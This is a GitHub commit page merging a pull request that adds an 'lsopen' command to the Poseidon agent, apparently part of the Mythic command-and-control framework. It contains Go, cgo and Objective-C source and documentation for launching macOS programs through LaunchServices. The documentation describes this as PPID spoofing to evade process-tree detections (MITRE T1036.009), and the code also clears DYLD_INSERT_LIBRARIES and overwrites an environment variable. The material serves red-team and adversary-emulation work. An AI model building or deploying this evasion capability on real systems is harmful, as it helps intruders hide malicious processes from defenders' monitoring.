Skip to content

Commit

Permalink
Merge pull request #56 from coolcoolnoworries/master
Browse files Browse the repository at this point in the history
Adding lsopen command
  • Loading branch information
its-a-feature authored Nov 13, 2024
2 parents 740126f + 49f2d43 commit 80db566
Show file tree
Hide file tree
Showing 8 changed files with 338 additions and 0 deletions.
53 changes: 53 additions & 0 deletions Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
package lsopen

import (
// Standard
"encoding/json"

// Poseidon

"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/structs"
)

type Arguments struct {
Application string `json:"application"`
HideApp bool `json:"hideApp"`
AppArgs []string `json:"appArgs"`
}

func Run(task structs.Task) {
msg := structs.Response{}
msg.TaskID = task.TaskID

args := Arguments{}
err := json.Unmarshal([]byte(task.Params), &args)

if err != nil {
msg.UserOutput = err.Error()
msg.Completed = true
msg.Status = "error"
task.Job.SendResponses <- msg
return
}

r, err := runCommand(args.Application, args.HideApp, args.AppArgs)
if err != nil {
msg.UserOutput = err.Error()
msg.Completed = true
msg.Status = "error"
task.Job.SendResponses <- msg
return
}

if r.Successful {
msg.UserOutput = "Successfully spawned application."
msg.Completed = true
task.Job.SendResponses <- msg
} else {
msg := task.NewResponse()
msg.SetError("Failed to spawn application.")
task.Job.SendResponses <- msg
}

return
}
69 changes: 69 additions & 0 deletions Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_darwin.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
// +build darwin

package lsopen

/*
#cgo CFLAGS: -x objective-c -fmacro-backtrace-limit=0 -std=gnu11 -Wobjc-property-no-attribute -Wunguarded-availability-new
#cgo LDFLAGS: -framework Foundation -framework CoreServices
#include "lsopen_darwin.h"
#include <stdlib.h>
*/
import "C"
import "unsafe"
import "os"

type LSOpenDarwin struct {
Successful bool
}

func (j *LSOpenDarwin) Success() bool {
return j.Successful
}

func runCommand(app string, hide bool, args []string) (LSOpenDarwin, error) {

capp := C.CString(app)

var c_argc C.int = 0
var c_argv **C.char = nil
var chide int

if hide {
chide = 1
} else {
chide = 0
}

ihide := C.int(chide)

//prepping args to pass to function
c_argc = C.int(len(args) + 1)
cArgs := make([](*C.char), len(args)+2)
for i := range cArgs {
cArgs[i] = nil
}
cArgs[0] = C.CString(os.Args[0])
for i, arg := range args {
cArgs[i+1] = C.CString(arg)
}
c_argv = (**C.char)(unsafe.Pointer(&cArgs[0]))


res := C.lsopen_init(capp, ihide, c_argv, c_argc)

//free
for i := range cArgs {
if cArgs[i] != nil {
defer C.free(unsafe.Pointer(cArgs[i]))
}
}

r := LSOpenDarwin{}
if res == 0 {
r.Successful = true
} else {
r.Successful = false
}

return r, nil
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
#ifndef launchservices_open_h
#define launchservices_open_h

extern int lsopen_init(char* app, int hide, char * argv[], int c_argc);

#endif /* launchservices_open_h */
70 changes: 70 additions & 0 deletions Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_darwin.m
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
#import <Foundation/Foundation.h>
#include "lsopen_darwin.h"

#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wdeprecated-declarations"

//referenced for base code - https://wojciechregula.blog/post/how-to-rob-a-firefox
//expanded with dynamic argument handling, "_" var stomping, and an unset to DYLD_INSERT_LIBRARIES to prevent inherited injections into new processes

bool lsopen_call(NSString *path, bool hide, NSArray<NSString*> *arghhhs) {
FSRef appFSURL;
OSStatus stat = FSPathMakeRef((const UInt8 *)[path UTF8String], &appFSURL, NULL);

NSDictionary *env = @{@"_":path};

unsetenv("DYLD_INSERT_LIBRARIES");
if (stat != errSecSuccess) {
return false;
}

LSApplicationParameters appParam;
appParam.version = 0;

if (hide) {
appParam.flags = kLSLaunchAndHide;
} else {
appParam.flags = kLSLaunchDefaults;
}

appParam.application = &appFSURL;
appParam.argv = (__bridge CFArrayRef) arghhhs;
appParam.environment = (__bridge CFDictionaryRef)env;
appParam.asyncLaunchRefCon = NULL;
appParam.initialEvent = NULL;
CFArrayRef array = (__bridge CFArrayRef)@[];

stat = LSOpenURLsWithRole(array, kLSRolesAll, NULL, &appParam, NULL, 0);
if (stat != errSecSuccess) {
return false;
}
return true;
}

int lsopen_init(char *app, int hide, char * argv[], int argc) {
@try {
NSString *appPath = [NSString stringWithCString:app encoding:NSUTF8StringEncoding];

bool shouldHide = false;
if (hide == 1) {
shouldHide = true;
}

NSMutableArray *argarray = [NSMutableArray array];
for (int i = 0; i < argc; i++) {
NSString *str = [[NSString alloc] initWithCString:argv[i] encoding:NSUTF8StringEncoding];
[argarray addObject:str];
}

NSRange rng = NSMakeRange(1, argc -1);
NSArray* applicationargs = [argarray subarrayWithRange:rng];

bool success = lsopen_call(appPath, shouldHide, applicationargs);
if (success != true) {
return -1;
}
return 0;
} @catch (NSException *exception) {
return -1;
}
}
21 changes: 21 additions & 0 deletions Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_linux.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
// +build linux

package lsopen

import (
"errors"
)

type LSOpenLinux struct {
Successful bool
}

func (j *LSOpenLinux) Success() bool {
return j.Successful
}

func runCommand(app string, hide bool, args []string) (LSOpenLinux, error) {
n := LSOpenLinux{}
n.Successful = false
return n, errors.New("Not implemented")
}
Original file line number Diff line number Diff line change
Expand Up @@ -62,6 +62,7 @@ import (
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/update_c2"
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/upload"
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/xpc"
"github.com/coolcoolnoworries/poseidon/Payload_Type/poseidon/agent_code/lsopen"
"os"
)

Expand Down Expand Up @@ -198,6 +199,8 @@ func listenForNewTask() {
go ifconfig.Run(task)
case "caffeinate":
go caffeinate.Run(task)
case "lsopen":
go lsopen.Run(task)
default:
// No tasks, do nothing
break
Expand Down
68 changes: 68 additions & 0 deletions Payload_Type/poseidon/poseidon/agentfunctions/lsopen.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
package agentfunctions

import (
agentstructs "github.com/MythicMeta/MythicContainer/agent_structs"
)

func init() {
agentstructs.AllPayloadData.Get("poseidon").AddCommand(agentstructs.Command{
Name: "lsopen",
HelpString: "lsopen -application \"/sbin/ping\" -hideApp false -appArgs 8.8.8.8 -t 47",
Description: "Use LaunchServices API to run applications and binaries out of PID 1 (launchd). Works as a ppid spoof to evade process tree detections.",
Version: 1,
MitreAttackMappings: []string{"T1036.009"},
Author: "coolcoolnoworries",
CommandParameters: []agentstructs.CommandParameter{
{
Name: "application",
ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING,
Description: "Path to the target application/binary",
ParameterGroupInformation: []agentstructs.ParameterGroupInfo{
{
ParameterIsRequired: true,
UIModalPosition: 1,
},
},
},
{
Name: "hideApp",
ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_BOOLEAN,
DefaultValue: false,
Description: "If true, launch the application with the kLSLaunchAndHide flag set. If false, use the kLSLaunchDefaults flag",
ParameterGroupInformation: []agentstructs.ParameterGroupInfo{
{
ParameterIsRequired: false,
UIModalPosition: 2,
},
},
},
{
Name: "appArgs",
ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_ARRAY,
Description: "Arguments to pass to application/binary",
ParameterGroupInformation: []agentstructs.ParameterGroupInfo{
{
ParameterIsRequired: true,
UIModalPosition: 3,
},
},
},
},
CommandAttributes: agentstructs.CommandAttribute{
SupportedOS: []string{agentstructs.SUPPORTED_OS_MACOS},
},
TaskFunctionParseArgString: func(args *agentstructs.PTTaskMessageArgsData, input string) error {
return args.LoadArgsFromJSONString(input)
},
TaskFunctionParseArgDictionary: func(args *agentstructs.PTTaskMessageArgsData, input map[string]interface{}) error {
return args.LoadArgsFromDictionary(input)
},
TaskFunctionCreateTasking: func(task *agentstructs.PTTaskMessageAllData) agentstructs.PTTaskCreateTaskingMessageResponse {
response := agentstructs.PTTaskCreateTaskingMessageResponse{
Success: true,
TaskID: task.Task.ID,
}
return response
},
})
}
48 changes: 48 additions & 0 deletions documentation-payload/poseidon/commands/lsopen.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
+++
title = "lsopen"
chapter = false
weight = 116
hidden = false
+++

## Summary
Use LaunchServices API to run applications and binaries out of PID 1 (launchd). Works as a PPID spoof to evade process tree detections.

- Needs Admin: False
- Version: 1
- Author: @coolcoolnoworries

### Arguments

#### application

- Description: Path to the target application/binary
- Required Value: True
- Default Value: None

#### hideApp

- Description: If true, launch the application with the kLSLaunchAndHide flag set. If false, use the kLSLaunchDefaults flag
- Required Value: False
- Default Value: None

#### appArgs

- Description: Arguments to pass to application/binary
- Required Value: True
- Default Value: None

## Usage

```
lsopen -application "/sbin/ping" -hideApp false -appArgs 8.8.8.8 -t 47
```

## MITRE ATT&CK Mapping

- T1036.009
## Detailed Summary

The lsopen command uses the LaunchServices API to run applications and binaries directly out of PID 1 (launchd), the macOS equivalent of explorer.exe on Windows. Where "shell" and "run" commands directly spawn processes as children, lsopen can be used as a form of PPID spoofing. This is especially helpful to evade detections built around strange process trees.

Note that application/binary output is not accessible when run through lsopen, since the parent process is no longer the poseidon payload. If the application/binary has an output argument (like nmap -o), that can be used as a workaround to this limitation.

0 comments on commit 80db566

Please sign in to comment.